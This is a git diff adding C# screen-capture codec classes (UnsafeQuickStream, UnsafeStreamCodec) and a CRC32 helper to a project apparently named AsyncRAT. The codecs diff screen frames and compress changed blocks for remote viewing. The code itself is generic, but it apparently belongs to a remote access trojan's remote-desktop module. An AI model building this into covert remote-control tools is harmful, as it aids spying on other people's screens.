using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
PopulairPoint point = populairPoints[i];
|
||||
if (point.Rect.Width == rect.Width &&
|
||||
point.Rect.Height == rect.Height &&
|
||||
point.Rect.X == rect.X &&
|
||||
point.Rect.Y == rect.Y)
|
||||
{
|
||||
PopuPoint = populairPoints[i];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private PopulairPoint[] GetPossibleVideos()
|
||||
{
|
||||
List<PopulairPoint> points = new List<PopulairPoint>();
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score > 30)
|
||||
{
|
||||
points.Add(populairPoints[i]);
|
||||
}
|
||||
}
|
||||
return points.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,285 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeQuickStream : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize { get; internal set; }
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private ulong[] EncodeBuffer;
|
||||
|
||||
private int BlockWidth = 0;
|
||||
private int BlockHeight = 0;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
public List<Rectangle> VerifyPoints = null;
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
public UnsafeQuickStream(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = InputSize.Width * PixelSize;
|
||||
RawLength = Stride * InputSize.Height;
|
||||
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = OutputRect.Width;
|
||||
this.EncodedHeight = OutputRect.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
|
||||
|
||||
VerifyPoints = Points;
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
for (int i = 0; i < Points.Count; i++)
|
||||
{
|
||||
Rectangle rect = Points[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
|
||||
{
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
|
||||
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
|
||||
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
|
||||
this.EncodeBuffer = new ulong[TotalBlocks];
|
||||
}
|
||||
|
||||
List<Rectangle> points = new List<Rectangle>();
|
||||
int StartScan = Scan0.ToInt32();
|
||||
|
||||
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
|
||||
{
|
||||
if (y + CheckBlock.Height > OutputRect.Height)
|
||||
break;
|
||||
|
||||
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
|
||||
{
|
||||
if (x + CheckBlock.Width > OutputRect.Width)
|
||||
break;
|
||||
|
||||
int EncodeOffset = GetOffset(x, y);
|
||||
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
|
||||
ulong* ScanPtr = (ulong*)(StartScan + offset);
|
||||
|
||||
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
|
||||
{
|
||||
EncodeBuffer[EncodeOffset] = *ScanPtr;
|
||||
|
||||
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
|
||||
int index = points.Count - 1;
|
||||
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = points[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
points[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
points.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return points;
|
||||
}
|
||||
|
||||
private Point GetOffsetPoint(int x, int y)
|
||||
{
|
||||
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width)));
|
||||
}
|
||||
|
||||
private int GetOffset(int x, int y)
|
||||
{
|
||||
return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width));
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,367 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
bool UseJPEG;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
this.UseJPEG = UseJPEG;
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if(FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*int maxHeight = 0;
|
||||
int maxWidth = 0;
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
if (finalUpdates[i].Height > maxHeight)
|
||||
maxHeight = finalUpdates[i].Height;
|
||||
maxWidth += finalUpdates[i].Width;
|
||||
}
|
||||
|
||||
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
|
||||
int XOffset = 0;*/
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(XOffset, 0));
|
||||
}
|
||||
XOffset += TmpBmp.Width;*/
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Length;
|
||||
long OldPos = outStream.Position;
|
||||
|
||||
if (UseJPEG)
|
||||
{
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
}
|
||||
else
|
||||
{
|
||||
base.lzwCompression.Compress(TmpBmp, outStream);
|
||||
}
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*if (finalUpdates.Count > 0)
|
||||
{
|
||||
byte[] lele = base.jpgCompression.Compress(bmp);
|
||||
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
|
||||
bool Won = lele.Length < outStream.Length;
|
||||
bool CompressWon = compressed.Length < outStream.Length;
|
||||
Console.WriteLine(Won + ", " + CompressWon);
|
||||
}
|
||||
bmp.Dispose();*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
finalUpdates.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed(byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||
{
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
tempData = null;
|
||||
|
||||
byte[] buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
using (MemoryStream m = new MemoryStream(buffer))
|
||||
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||
{
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
buffer = null;
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
catch { return null; }
|
||||
}
|
||||
}
|
||||
}
|
||||
186
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs
Normal file
186
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs
Normal file
@ -0,0 +1,186 @@
|
||||
// Tamir Khason http://khason.net/
|
||||
//
|
||||
// Released under MS-PL : 6-Apr-09
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Security.Cryptography;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
|
||||
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
|
||||
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
|
||||
public class CRC32 : HashAlgorithm
|
||||
{
|
||||
#region CONSTRUCTORS
|
||||
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public CRC32()
|
||||
: this(DefaultPolynomial)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
|
||||
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
|
||||
public CRC32(uint polynomial)
|
||||
{
|
||||
HashSizeValue = 32;
|
||||
_crc32Table = (uint[])_crc32TablesCache[polynomial];
|
||||
if (_crc32Table == null)
|
||||
{
|
||||
_crc32Table = CRC32._buildCRC32Table(polynomial);
|
||||
_crc32TablesCache.Add(polynomial, _crc32Table);
|
||||
}
|
||||
Initialize();
|
||||
}
|
||||
|
||||
// static constructor
|
||||
static CRC32()
|
||||
{
|
||||
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
|
||||
_defaultCRC = new CRC32();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PROPERTIES
|
||||
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
|
||||
